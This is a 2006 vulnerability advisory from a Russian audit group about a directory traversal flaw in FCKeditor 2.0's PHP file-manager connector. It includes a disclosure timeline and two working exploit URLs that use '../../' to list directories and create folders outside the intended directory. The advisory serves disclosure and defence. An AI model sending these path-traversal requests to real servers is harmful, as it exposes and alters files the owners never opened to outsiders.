NSA Group Security Advisory NSAG-№195-23.02.2006 Vulnerability FCKeditor 2.0 FC

Advisory:
NSAG-№195-23.02.2006

Research:
NSA Group [Russian company on Audit of safety & Network security]

Site of Research:
http://www.nsag.ru or http://www.nsag.org

Product:
FCKeditor 2.0 FC

Site of manufacturer:
http://www.fckeditor.net

The status:
19/11/2005 - Publication is postponed.
19/11/2005 - Manufacturer is notified.
21/02/2006 - Answer of the manufacturer is absent.
21/02/2006 - Publication of vulnerability.

Original Advisory:
http://www.nsag.ru/vuln/952.html

Risk:
Hide

Description:
The output for limits of a virtual directory is possible.

Influence:
Listing of directories, creation of folders outside a virtual directory.

Exploit:

http://SERVER/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=File&CurrentFolder=../../

http://SERVER/filemanager/browser/default/connectors/php/connector.php?Command=CreateFolder&Type=File&CurrentFolder=../../&NewFolderName=TESTNAME

Decision:
To address on a site of the manufacturer http://www.fckeditor.net
Or contact us and receive consultations.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Our company is the independent auditor of the software in market IT.
At present independent audit of the software becomes the standard practice
and we suggest to make a let out product as much as possible protected
from a various sort of attacks of malefactors!

www.nsag.ru
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Nemesis Security Audit Group © 2006.